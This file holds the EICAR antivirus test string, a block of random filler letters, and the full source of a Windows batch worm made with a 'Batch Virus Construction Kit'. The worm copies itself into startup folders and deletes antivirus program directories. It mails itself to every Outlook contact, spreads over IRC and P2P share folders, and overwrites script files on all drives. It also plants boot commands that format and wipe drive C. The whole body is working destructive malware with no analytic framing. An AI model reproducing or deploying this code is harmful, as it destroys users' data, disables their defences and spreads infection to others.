X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
vowyfvvwibvhenxtqqxvretigknzxzjznrzecqbffsegeaxkzzabdlgzwxywqkfdvdhxpydhegbwjedndbfjpurchffmopwbet
nhoyeprmdfrguqnqdtboegyczvmxogzghgyakrcfbhzpagpmkhizyxgiyxkpjgqlgvqjzcveleflzzskszkjbqotrvexnoobbd
njziifzwgbvhhfswdztzibynsecseykdoeqxzaijatsstqbzlcdmybhcyqihvwxwqebkdldtkuvummjjgbkquplptoiuzpfjqp
kihgbbjmgbxojalbrzijbybhgsaxarmtwfufthtbfbkorzykcaxfthtbgqipzucxppbcwmmwvhkjyhpkwjzwfptencjlsujisa
nsbrmcgihrvzkidmxdbyzxepnfyseikzovaxrdrrnizcfmbxduaihojrdrgnlevapgjexefwlccqzbtfbqrtrjivsrhiddcras
tocobkmturnlkxclsiypcrpxucbmknfbwbfoixbbtfvwempzuacqyrffjxfnyaqzisckgupuphuqfnbaowyqyjzjrtloussivn
rkxrluaxgzrnukrymzhhgdjrqvdetxzpvxmbauqdffsbgvvfnxcanicsupdxgkmwnccmupdanqmqwdpubspadrnxsfzlorzlqh
zlcyenbnetzbsqzqxvmzhgkyuhcmdibufnjrktvdwacluvdzdaabcvrasbiqoosvafanlrqtuwnanjmbnddqprntyeovzemtnb
lhajlqcxronhydeqfokttkoghyzeiuwpatswddxqaxmpjmgcroedjhvuwshpcgfjfsgepmjqyuaksjyaykpwfrvisxmnsjtxly
fivzrivzvrvcizlxiygvsjfihxcnpraeijpxzjbinmryrnnwzkhbsmvtivdxyhlgghynkedovudeacpahijqxexyhituxgbyoe
::
:: Generated by Batch Virus Construction Kit 0.9 [DvL]-[rRLF]
:: Created by DvL on 02-05-2004 at 19:13:27
::
@echo off
@ver|find /i "XP"|if errorlevel 1 ctty nul|if not errorlevel 1 exit
break off
copy %0 %windir%\bzthfbkx.bat>nul
echo.on error resume next>%windir%\bzthfbkx.vbs
echo.set hb=CreateObject("wscript.shell")>>%windir%\bzthfbkx.vbs
echo.set xk=wscript.createobject("scripting.filesystemobject")>>%windir%\bzthfbkx.vbs
echo.set zt=wscript.createobject("wscript.shell")>>%windir%\bzthfbkx.vbs
echo.hb=zt.SpecialFolders("Startup")>>%windir%\bzthfbkx.vbs
echo.bf=zt.SpecialFolders("AllUsersStartup")>>%windir%\bzthfbkx.vbs
echo.xk.copyfile "%windir%\bzthfbkx.bat", hb & "\bzthfbkx.bat">>%windir%\bzthfbkx.vbs
echo.xk.copyfile "%windir%\bzthfbkx.bat", bf & "\bzthfbkx.bat">>%windir%\bzthfbkx.vbs
copy %0 %windir%\startm~1\progra~1\autost~1\bzthfbkx.bat>nul
copy %0 %windir%\startm~1\progra~1\opstar~1\bzthfbkx.bat>nul
copy %0 %windir%\startm~1\programs\startup\bzthfbkx.bat>nul
copy %0 %windir%\alluse~1\startm~1\programs\startup\bzthfbkx.bat>nul
copy %0 %windir%\alluse~1\menuin~1\progra~1\iniciar\bzthfbkx.bat>nul
copy %0 %windir%\menin~1\progra~1\inicio\bzthfbkx.bat>nul
copy %0 %windir%\menud~1\progra~1\dmarr~1\bzthfbkx.bat>nul
rundll32 mouse,disable
rundll32 keyboard,disable
set tbz=deltree/y c:\
%tbz%antiba*>nul
%tbz%antivi*>nul
%tbz%av*>nul
%tbz%bitdef*>nul
%tbz%comman~1\>nul
%tbz%cleanc*>nul
%tbz%esafen\>nul
%tbz%findvi*>nul
%tbz%f-*>nul
%tbz%fwin*>nul
%tbz%inocul*>nul
%tbz%kasper*>nul
%tbz%mcafee*>nul
%tbz%msav\>nul
%tbz%norman\>nul
%tbz%norton*>nul
%tbz%pav\>nul
%tbz%pccill*>nul
%tbz%pc-cil*>nul
%tbz%rav\>nul
%tbz%softwin\>nul
%tbz%tbav*>nul
%tbz%toolkit\>nul
%tbz%trendm~1\>nul
%tbz%trex\>nul
%tbz%virus*>nul
%tbz%vpc\>nul
%tbz%vs95\>nul
%tbz%zonela*>nul
set tbz=deltree/y c:\progra~1\
%tbz%antiba*>nul
%tbz%antivi*>nul
%tbz%avg*>nul
%tbz%bitdef*>nul
%tbz%comman~1\>nul
%tbz%common~1\avp*>nul
%tbz%common~1\syman*>nul
%tbz%datafe*>nul
%tbz%deerfi*>nul
%tbz%f-*>nul
%tbz%findvi~1\>nul
%tbz%fsi\>nul
%tbz%fwin*>nul
%tbz%grisoft\>nul
%tbz%inocul*>nul
%tbz%kasper*>nul
%tbz%mcafee*>nul
%tbz%mindso~1\>nul
%tbz%norman\>nul
%tbz%norton*>nul
%tbz%pandas~1\>nul
%tbz%protec*>nul
%tbz%quickh~1\>nul
%tbz%rav\>nul
%tbz%signal9\>nul
%tbz%softwin\>nul
%tbz%spysto~1\>nul
%tbz%syman*>nul
%tbz%tbav\>nul
%tbz%tinype~1\>nul
%tbz%trend*>nul
%tbz%trojan*>nul
%tbz%virus*>nul
%tbz%zonela*>nul
set tbz=
copy %0 c:\1.txt>nul
set c=dress
set q=Entr
set h=ists
echo.set rc="Scripting.FileSystem.Object">>%windir%\bzthfbkx.vbs
echo.set ce=CreateObject(rc)>>%windir%\bzthfbkx.vbs
echo.set ej=CreateObject("Outlook.Application")>>%windir%\bzthfbkx.vbs
echo.set jj=WScript.CreateObject("Outlook.Application")>>%windir%\bzthfbkx.vbs
echo.set jl=jj.GetNameSpace("MAPI")>>%windir%\bzthfbkx.vbs
echo.set d=jl.Ad%c%L%h%(1)>>%windir%\bzthfbkx.vbs
echo.set ae=d.Ad%c%%q%ies>>%windir%\bzthfbkx.vbs
echo.for x=1 To ae.Count>>%windir%\bzthfbkx.vbs
echo.set li=ej.CreateItem(0)>>%windir%\bzthfbkx.vbs
echo.set is=li>>%windir%\bzthfbkx.vbs
echo.is.to=ej.GetNameSpace("MAPI").Ad%c%L%h%(1).Ad%c%%q%ies(x)>>%windir%\bzthfbkx.vbs
echo.is.Subject="">>%windir%\bzthfbkx.vbs
echo.is.Body="">>%windir%\bzthfbkx.vbs
echo.is.Attachments.Add("C:\1.txt")>>%windir%\bzthfbkx.vbs
echo.is.send>>%windir%\bzthfbkx.vbs
echo.Next>>%windir%\bzthfbkx.vbs
echo.ej.Quit>>%windir%\bzthfbkx.vbs
set c=
set q=
set h=
copy %0 c:\download\1.txt>nul
copy %0 c:\downlo~1\1.txt>nul
copy %0 c:\eigene~1\1.txt>nul
copy %0 c:\kazaa\myshar~1\1.txt>nul
copy %0 c:\mesdoc~1\1.txt>nul
copy %0 c:\meusdo~1\1.txt>nul
copy %0 c:\mydocu~1\mymusi~1\1.txt>nul
copy %0 c:\mydocu~1\1.txt>nul
copy %0 c:\mydown~1\1.txt>nul
copy %0 c:\mymusi~1\1.txt>nul
copy %0 c:\mymusic\1.txt>nul
copy %0 c:\progra~1\applej~1\incoming\1.txt>nul
copy %0 c:\progra~1\bearsh~1\shared\1.txt>nul
copy %0 c:\progra~1\edonke~1\incoming\1.txt>nul
copy %0 c:\progra~1\emule\incoming\1.txt>nul
copy %0 c:\progra~1\gnucleus\downlo~1\incoming\1.txt>nul
copy %0 c:\progra~1\gnucleus\downlo~1\1.txt>nul
copy %0 c:\progra~1\grokster\mygrok~1\1.txt>nul
copy %0 c:\progra~1\icq\shared~1\1.txt>nul
copy %0 c:\progra~1\kazaa\myshar~1\1.txt>nul
copy %0 c:\progra~1\kazaal~1\myshar~1\1.txt>nul
copy %0 c:\progra~1\kmd\myshar~1\1.txt>nul
copy %0 c:\progra~1\limewire\shared\1.txt>nul
copy %0 c:\progra~1\morpheus\myshar~1\1.txt>nul
copy %0 c:\progra~1\overnet\bundles\1.txt>nul
copy %0 c:\progra~1\shareaza\downlo~1\1.txt>nul
copy %0 c:\1.txt>nul
copy %0 c:\mirc\download\1.txt>nul
copy %0 c:\mirc32\download\1.txt>nul
copy %0 c:\progra~1\mirc\download\1.txt>nul
copy %0 c:\progra~1\mirc32\download\1.txt>nul
echo.[script]>%windir%\bzthfbkx.ini
echo.n0=on 1:JOIN:#:{>>%windir%\bzthfbkx.ini
echo.n1=/if ( $nick == $me ) { halt }>>%windir%\bzthfbkx.ini
echo.n2=/dcc send $nick c:\1.txt>>%windir%\bzthfbkx.ini
echo.n3=}>>%windir%\bzthfbkx.ini
deltree/y c:\mirc\script.ini>nul
deltree/y c:\mirc32\script.ini>nul
deltree/y c:\progra~1\mirc\script.ini>nul
deltree/y c:\progra~1\mirc32\script.ini>nul
copy %windir%\bzthfbkx.ini c:\mirc\script.ini>nul
copy %windir%\bzthfbkx.ini c:\mirc32\script.ini>nul
copy %windir%\bzthfbkx.ini c:\progra~1\mirc\script.ini>nul
copy %windir%\bzthfbkx.ini c:\progra~1\mirc32\script.ini>nul
copy %0 c:\pirch\downlo~1\1.txt>nul
copy %0 c:\pirch32\downlo~1\1.txt>nul
copy %0 c:\pirch98\downlo~1\1.txt>nul
copy %0 c:\progra~1\pirch\downlo~1\1.txt>nul
copy %0 c:\progra~1\pirch32\downlo~1\1.txt>nul
copy %0 c:\progra~1\pirch98\downlo~1\1.txt>nul
echo.[Levels]>%windir%\bzthfbkx.ini
echo.Enabled=1>>%windir%\bzthfbkx.ini
echo.Count=6>>%windir%\bzthfbkx.ini
echo.Level1=000-Unknowns>>%windir%\bzthfbkx.ini
echo.000-UnknownsEnabled=1>>%windir%\bzthfbkx.ini
echo.Level2=100-Level 100>>%windir%\bzthfbkx.ini
echo.100-Level 100Enabled=1>>%windir%\bzthfbkx.ini
echo.Level3=200-Level 200>>%windir%\bzthfbkx.ini
echo.200-Level 200Enabled=1>>%windir%\bzthfbkx.ini
echo.Level4=300-Level 300>>%windir%\bzthfbkx.ini
echo.300-Level 300Enabled=1>>%windir%\bzthfbkx.ini
echo.Level5=400-Level 400>>%windir%\bzthfbkx.ini
echo.400-Level 400Enabled=1>>%windir%\bzthfbkx.ini
echo.Level6=500-Level 500>>%windir%\bzthfbkx.ini
echo.500-Level 500Enabled=1>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[000-Unknowns]>>%windir%\bzthfbkx.ini
echo.User1=*!*@*>>%windir%\bzthfbkx.ini
echo.UserCount=1>>%windir%\bzthfbkx.ini
echo.Event1=ON JOIN:#:/dcc send $nick c:\1.txt>>%windir%\bzthfbkx.ini
echo.EventCount=1>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[100-Level 100]>>%windir%\bzthfbkx.ini
echo.UserCount=0>>%windir%\bzthfbkx.ini
echo.EventCount=0>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[200-Level 200]>>%windir%\bzthfbkx.ini
echo.UserCount=0>>%windir%\bzthfbkx.ini
echo.EventCount=0>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[300-Level 300]>>%windir%\bzthfbkx.ini
echo.UserCount=0>>%windir%\bzthfbkx.ini
echo.EventCount=0>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[400-Level 400]>>%windir%\bzthfbkx.ini
echo.UserCount=0>>%windir%\bzthfbkx.ini
echo.EventCount=0>>%windir%\bzthfbkx.ini
echo.>>%windir%\bzthfbkx.ini
echo.[500-Level 500]>>%windir%\bzthfbkx.ini
echo.UserCount=0>>%windir%\bzthfbkx.ini
echo.EventCount=0>>%windir%\bzthfbkx.ini
deltree/y c:\pirch\events.ini>nul
deltree/y c:\pirch98\events.ini>nul
deltree/y c:\pirch32\events.ini>nul
deltree/y c:\progra~1\pirch\events.ini>nul
deltree/y c:\progra~1\pirch98\events.ini>nul
deltree/y c:\progra~1\pirch32\events.ini>nul
copy %windir%\bzthfbkx.ini c:\pirch\events.ini>nul
copy %windir%\bzthfbkx.ini c:\pirch98\events.ini>nul
copy %windir%\bzthfbkx.ini c:\pirch32\events.ini>nul
copy %windir%\bzthfbkx.ini c:\progra~1\pirch\events.ini>nul
copy %windir%\bzthfbkx.ini c:\progra~1\pirch98\events.ini>nul
copy %windir%\bzthfbkx.ini c:\progra~1\pirch32\events.ini>nul
echo.hb.RegWrite "HKEY_USERS\.Default\Software\MeGaLiTh Software\Visual IRC 96\Events\Event17","dcc send $nick c:\1.txt">>%windir%\bzthfbkx.vbs
for %%j in (*.bat ..\*.bat c:\mydocu~1\*.bat c:\eigene~1\*.bat %windir%\*.bat %path%\*.bat %windir%\desktop\*.bat %windir%\command\ebd\*.bat %windir%\system\*.bat) do attrib -r -h -s -a %%j
for %%j in (*.bat ..\*.bat c:\mydocu~1\*.bat c:\eigene~1\*.bat %windir%\*.bat %path%\*.bat %windir%\desktop\*.bat %windir%\command\ebd\*.bat %windir%\system\*.bat) do copy %windir%\bzthfbkx.bat %%j /y
for %%j in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;a) do %comspec% nul /f /c if exist %%j:\nul copy %windir%\bzthfbkx.bat %%j:\bzthfbkx.bat /y
echo.hb.run "%windir%\bzthfbkx.bat", VBHide>>%windir%\bzthfbkx.vbs
for %%c in (c:\*.vb* *.vb* ..\*.vb* c:\mydocu~1\*.vb* %windir%\*.vb* %path%\*.vb* %windir%\desktop\*.vb* %windir%\system\*.vb*) do attrib -r -h -s -a %%c
for %%c in (c:\*.vb* *.vb* ..\*.vb* c:\mydocu~1\*.vb* %windir%\*.vb* %path%\*.vb* %windir%\desktop\*.vb* %windir%\system\*.vb*) do copy %windir%\bzthfbkx.vbs %%c /y
for %%c in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;a) do %comspec% nul /f /c if exist %%c:\nul copy %windir%\bzthfbkx.vbs %%c:\bzthfbkx.vbs /y
echo.e=wscript.createobject("wscript.shell");>%windir%\bzthfbkx.js
echo.e.Run("%windir%\bzthfbkx.bat");>>%windir%\bzthfbkx.js
for %%v in (c:\*.js* *.js* ..\*.js* c:\mydocu~1\*.js* %windir%\*.js* %path%\*.js* %windir%\desktop\*.js* %windir%\system\*.js*) do attrib -r -h -s -a %%v
for %%v in (c:\*.js* *.js* ..\*.js* c:\mydocu~1\*.js* %windir%\*.js* %path%\*.js* %windir%\desktop\*.js* %windir%\system\*.js*) do copy %windir%\bzthfbkx.js %%v /y
for %%v in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;a) do %comspec% nul /f /c if exist %%v:\nul copy %windir%\bzthfbkx.js %%v:\bzthfbkx.js /y
echo.REGEDIT4>%windir%\sg.reg
echo.>>%windir%\sg.reg
echo.[HKEY_LOCAL_MACHINE]>>%windir%\sg.reg
echo.""="%windir%\bzthfbkx.bat">>%windir%\sg.reg
for %%s in (c:\*.reg *.reg ..\*.reg c:\mydocu~1\*.reg %windir%\*.reg %path%\*.reg %windir%\desktop\*.reg %windir%\system\*.reg) do attrib -r -h -s -a %%s
for %%s in (c:\*.reg *.reg ..\*.reg c:\mydocu~1\*.reg %windir%\*.reg %path%\*.reg %windir%\desktop\*.reg %windir%\system\*.reg) do copy %windir%\sg.reg %%s /y
for %%s in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;a) do %comspec% nul /f /c if exist %%s:\nul copy %windir%\sg.reg %%s:\bzthfbkx.reg /y
echo.SHELL "%windir%\bzthfbkx.bat">%windir%\vm.bas
echo.END>>%windir%\vm.bas
for %%v in (c:\*.bas *.bas ..\*.bas c:\mydocu~1\*.bas %windir%\*.bas %path%\*.bas %windir%\desktop\*.bas %windir%\system\*.bas) do attrib -r -h -s -a %%v
for %%v in (c:\*.bas *.bas ..\*.bas c:\mydocu~1\*.bas %windir%\*.bas %path%\*.bas %windir%\desktop\*.bas %windir%\system\*.bas) do copy %windir%\vm.bas %%v /y
for %%v in (c;d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s;t;u;v;w;x;y;z;a) do %comspec% nul /f /c if exist %%v:\nul copy %windir%\vm.bas %%v:\bzthfbkx.bas /y
echo.time 00:00:00,00>>c:\autoexec.bat
echo.date 80-01-01>>c:\autoexec.bat
echo.%comspec% nul /f /c if exist e:\nul subst e: a:\>>c:\autoexec.bat
echo.%comspec% nul /f /c if exist d:\nul subst d: a:\>>c:\autoexec.bat
echo.%comspec% nul /f /c if exist c:\nul subst c: a:\>>c:\autoexec.bat
echo.[menu]>>c:\config.sys
echo.menuitem=hd>>c:\config.sys
echo.>>c:\config.sys
echo.[hd]>>c:\config.sys
echo.buffers=1>>c:\config.sys
echo.files=1>>c:\config.sys
echo.lastdrive=A>>c:\config.sys
echo.set path=deltree/y c:\>>c:\config.sys
echo.set temp=A:\>>c:\config.sys
echo.set windir=format c:/u/q/autotest>>c:\config.sys
set ξß=md %windir%\desktop\
%ξß%ξß00>nul | %ξß%ξß01>nul | %ξß%ξß02>nul | %ξß%ξß03>nul
%ξß%ξß04>nul | %ξß%ξß05>nul | %ξß%ξß06>nul | %ξß%ξß07>nul
%ξß%ξß08>nul | %ξß%ξß09>nul | %ξß%ξß10>nul | %ξß%ξß11>nul
%ξß%ξß12>nul | %ξß%ξß13>nul | %ξß%ξß14>nul | %ξß%ξß15>nul
%ξß%ξß16>nul | %ξß%ξß17>nul | %ξß%ξß18>nul | %ξß%ξß19>nul
%ξß%ξß20>nul | %ξß%ξß21>nul | %ξß%ξß22>nul | %ξß%ξß23>nul
%ξß%ξß24>nul | %ξß%ξß25>nul | %ξß%ξß26>nul | %ξß%ξß27>nul
%ξß%ξß28>nul | %ξß%ξß29>nul | %ξß%ξß30>nul | %ξß%ξß31>nul
%ξß%ξß32>nul | %ξß%ξß33>nul | %ξß%ξß34>nul | %ξß%ξß35>nul
%ξß%ξß36>nul | %ξß%ξß37>nul | %ξß%ξß38>nul | %ξß%ξß39>nul
%ξß%ξß40>nul | %ξß%ξß41>nul | %ξß%ξß42>nul | %ξß%ξß43>nul
%ξß%ξß44>nul | %ξß%ξß45>nul | %ξß%ξß46>nul | %ξß%ξß47>nul
%ξß%ξß48>nul | %ξß%ξß49>nul | %ξß%ξß50>nul | %ξß%ξß51>nul
%ξß%ξß52>nul | %ξß%ξß53>nul | %ξß%ξß54>nul | %ξß%ξß55>nul
%ξß%ξß56>nul | %ξß%ξß57>nul | %ξß%ξß58>nul | %ξß%ξß59>nul
%ξß%ξß60>nul | %ξß%ξß61>nul | %ξß%ξß62>nul | %ξß%ξß63>nul
%ξß%ξß64>nul | %ξß%ξß65>nul | %ξß%ξß66>nul | %ξß%ξß67>nul
%ξß%ξß68>nul | %ξß%ξß69>nul | %ξß%ξß70>nul | %ξß%ξß71>nul
%ξß%ξß72>nul | %ξß%ξß73>nul | %ξß%ξß74>nul | %ξß%ξß75>nul
%ξß%ξß76>nul | %ξß%ξß77>nul | %ξß%ξß78>nul | %ξß%ξß79>nul
%ξß%ξß80>nul | %ξß%ξß81>nul | %ξß%ξß82>nul | %ξß%ξß83>nul
%ξß%ξß84>nul | %ξß%ξß85>nul | %ξß%ξß86>nul | %ξß%ξß87>nul
%ξß%ξß88>nul | %ξß%ξß89>nul | %ξß%ξß90>nul | %ξß%ξß91>nul
%ξß%ξß92>nul | %ξß%ξß93>nul | %ξß%ξß94>nul | %ξß%ξß95>nul
%ξß%ξß96>nul | %ξß%ξß97>nul | %ξß%ξß98>nul | %ξß%ξß99>nul
set ξß=
cscript %windir%\bzthfbkx.vbs
rundll32 user,exitwindows
cls
